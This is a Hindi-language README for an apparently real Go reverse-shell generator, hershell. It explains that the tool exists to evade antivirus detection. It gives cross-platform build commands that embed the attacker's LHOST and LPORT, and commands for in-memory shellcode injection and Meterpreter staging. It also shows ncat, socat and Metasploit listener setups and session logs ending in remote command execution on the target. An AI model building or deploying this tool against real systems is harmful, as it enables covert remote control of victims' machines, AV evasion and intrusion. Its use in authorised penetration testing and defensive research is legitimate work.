
बहु-प्लेटफ़ॉर्म रिवर्स शेल जनरेटर
सरल TCP रिवर्स शेल Go में लिखा गया है।
यह संचार को सुरक्षित करने के लिए TLS का उपयोग करता है, और ट्रैफिक इंटरसेप्शन को रोकने के लिए प्रमाणपत्र की सार्वजनिक कुंजी फिंगरप्रिंट पिनिंग सुविधा प्रदान करता है।
समर्थित OS हैं:
हालाँकि meterpreter पेलोड बहुत अच्छे हैं, वे कभी-कभी AV उत्पादों द्वारा पहचान लिए जाते हैं।
इस प्रोजेक्ट का लक्ष्य एक सरल रिवर्स शेल प्राप्त करना है, जो कई सिस्टम पर काम कर सके।
चूँकि यह Go में लिखा गया है, आप स्रोत को वांछित आर्किटेक्चर के लिए क्रॉस-कंपाइल कर सकते हैं।
चूँकि यह एक Go प्रोजेक्ट है, आपको अपने Golang वातावरण ($GOPATH environment variable के साथ) को सेट करने के लिए official documentation का पालन करना होगा।
फिर, प्रोजेक्ट को लाने के लिए बस go get github.com/lesnuages/hershell चलाएँ।
चीजों को सरल बनाने के लिए, आप दिए गए Makefile का उपयोग कर सकते हैं। आप निम्नलिखित environment variables सेट कर सकते हैं:
GOOS : लक्ष्य OSGOARCH : लक्ष्य आर्किटेक्चरLHOST : हमलावर का IP या डोमेन नामLPORT : लिसनर पोर्टGOOS और GOARCH वेरिएबल्स के लिए, आप अनुमत मान यहाँ प्राप्त कर सकते हैं।
हालाँकि, Makefile में कुछ सहायक लक्ष्य उपलब्ध हैं:
depends : सर्वर प्रमाणपत्र उत्पन्न करें (रिवर्स शेल के लिए आवश्यक)windows32 : विंडोज 32 बिट एक्जीक्यूटेबल (PE 32 बिट) बनाता हैwindows64 : विंडोज 64 बिट एक्जीक्यूटेबल (PE 64 बिट) बनाता हैlinux32 : लिनक्स 32 बिट एक्जीक्यूटेबल (ELF 32 बिट) बनाता हैlinux64 : लिनक्स 64 बिट एक्जीक्यूटेबल (ELF 64 बिट) बनाता हैmacos32 : मैक ओएस 32 बिट एक्जीक्यूटेबल (Mach-O) बनाता हैmacos64 : मैक ओएस 64 बिट एक्जीक्यूटेबल (Mach-O) बनाता हैउन लक्ष्यों के लिए, आपको केवल LHOST और LPORT environment variables सेट करने होंगे।
एक बार निष्पादित होने पर, आपको एक रिमोट शेल प्रदान किया जाएगा।
यह कस्टम इंटरैक्टिव शेल आपको Windows पर cmd.exe या UNIX मशीनों पर /bin/sh के माध्यम से सिस्टम कमांड निष्पादित करने की अनुमति देगा।
निम्नलिखित विशेष कमांड समर्थित हैं:
run_shell : आपको एक सिस्टम शेल प्रदान करता है (उदाहरण के लिए, आपको निर्देशिकाएँ बदलने की अनुमति देता है)inject <base64 shellcode> : एक शेलकोड (base64 एन्कोडेड) को उसी प्रक्रिया मेमोरी में इंजेक्ट करता है और उसे निष्पादित करता हैmeterpreter [tcp|http|https] IP:PORT : एक multi/handler से जुड़ता है ताकि metasploit से एक stage2 रिवर्स tcp, http या https meterpreter प्राप्त किया जा सके और शेलकोड को मेमोरी में निष्पादित किया जा सके (फिलहाल केवल Windows)exit : सुरक्षित रूप से बाहर निकलेंसबसे पहले, आपको एक मान्य प्रमाणपत्र उत्पन्न करना होगा:
$ make depends
openssl req -subj '/CN=yourcn.com/O=YourOrg/C=FR' -new -newkey rsa:4096 -days 3650 -nodes -x509 -keyout server.key -out server.pem
Generating a 4096 bit RSA private key
....................................................................................++
.....++
writing new private key to 'server.key'
-----
cat server.key >> server.pem
विंडोज़ के लिए:
# Predifined 32 bit target
$ make windows32 LHOST=192.168.0.12 LPORT=1234
# Predifined 64 bit target
$ make windows64 LHOST=192.168.0.12 LPORT=1234
Linux के लिए:
# Predifined 32 bit target
$ make linux32 LHOST=192.168.0.12 LPORT=1234
# Predifined 64 bit target
$ make linux64 LHOST=192.168.0.12 LPORT=1234
Mac OS X के लिए
$ make macos LHOST=192.168.0.12 LPORT=1234
इनकमिंग कनेक्शन को संभालने के लिए विभिन्न उपकरणों का उपयोग किया जा सकता है, जैसे:
python/shell_reverse_tcp_ssl पेलोड के साथ)यहाँ ncat के साथ एक उदाहरण है:
$ ncat --ssl --ssl-cert server.pem --ssl-key server.key -lvp 1234
Ncat: Version 7.60 ( https://nmap.org/ncat )
Ncat: Listening on :::1234
Ncat: Listening on 0.0.0.0:1234
Ncat: Connection from 172.16.122.105.
Ncat: Connection from 172.16.122.105:47814.
[hershell]> whoami
desktop-3pvv31a\lab
यहाँ socat के साथ एक उदाहरण है (संस्करण 1.7.3.2 पर परीक्षण किया गया):
$ socat `tty` OPENSSL-LISTEN:1234,reuseaddr,cert=server.pem,key=server.key,verify=0
# connection would be initiated here
[hershell]> whoami
desktop-3pvv31a\lab
चेतावनी: यह वर्तमान में केवल विंडोज प्लेटफॉर्म पर काम करता है।
Meterpreter स्टेजिंग वर्तमान में निम्नलिखित पेलोड का समर्थन करता है:
windows/meterpreter/reverse_tcpwindows/x64/meterpreter/reverse_tcpwindows/meterpreter/reverse_httpwindows/x64/meterpreter/reverse_httpwindows/meterpreter/reverse_httpswindows/x64/meterpreter/reverse_httpsसही पेलोड का उपयोग करने के लिए, बस उस परिवहन को निर्दिष्ट करें जिसका आप उपयोग करना चाहते हैं (tcp, http, https)
Meterpreter स्टेजिंग सुविधा का उपयोग करने के लिए, बस अपना हैंडलर शुरू करें:
[14:12:45][172.16.122.105][Sessions: 0][Jobs: 0] > use exploit/multi/handler
[14:12:57][172.16.122.105][Sessions: 0][Jobs: 0] exploit(multi/handler) > set payload windows/x64/meterpreter/reverse_https
payload => windows/x64/meterpreter/reverse_https
[14:13:12][172.16.122.105][Sessions: 0][Jobs: 0] exploit(multi/handler) > set lhost 172.16.122.105
lhost => 172.16.122.105
[14:13:15][172.16.122.105][Sessions: 0][Jobs: 0] exploit(multi/handler) > set lport 8443
lport => 8443
[14:13:17][172.16.122.105][Sessions: 0][Jobs: 0] exploit(multi/handler) > set HandlerSSLCert ./server.pem
HandlerSSLCert => ./server.pem
[14:13:26][172.16.122.105][Sessions: 0][Jobs: 0] exploit(multi/handler) > exploit -j
[*] Exploit running as background job 0.
[*] [2018.01.29-14:13:29] Started HTTPS reverse handler on https://172.16.122.105:8443
[14:13:29][172.16.122.105][Sessions: 0][Jobs: 1] exploit(multi/handler) >
फिर, hershell में, meterpreter कमांड का उपयोग करें:
[hershell]> meterpreter https 172.16.122.105:8443
msfconsole में एक नया meterpreter सत्र दिखाई देना चाहिए:
[14:13:29][172.16.122.105][Sessions: 0][Jobs: 1] exploit(multi/handler) >
[*] [2018.01.29-14:16:44] https://172.16.122.105:8443 handling request from 172.16.122.105; (UUID: pqzl9t5k) Staging x64 payload (206937 bytes) ...
[*] Meterpreter session 1 opened (172.16.122.105:8443 -> 172.16.122.105:44804) at 2018-01-29 14:16:44 +0100
[14:16:46][172.16.122.105][Sessions: 1][Jobs: 1] exploit(multi/handler) > sessions
Active sessions
===============
Id Name Type Information Connection
-- ---- ---- ----------- ----------
1 meterpreter x64/windows DESKTOP-3PVV31A\lab @ DESKTOP-3PVV31A 172.16.122.105:8443 -> 172.16.122.105:44804 (10.0.2.15)
[14:16:48][172.16.122.105][Sessions: 1][Jobs: 1] exploit(multi/handler) > sessions -i 1
[*] Starting interaction with 1...
meterpreter > getuid
Server username: DESKTOP-3PVV31A\lab
@khast3x से Dockerfile सुविधा के लिए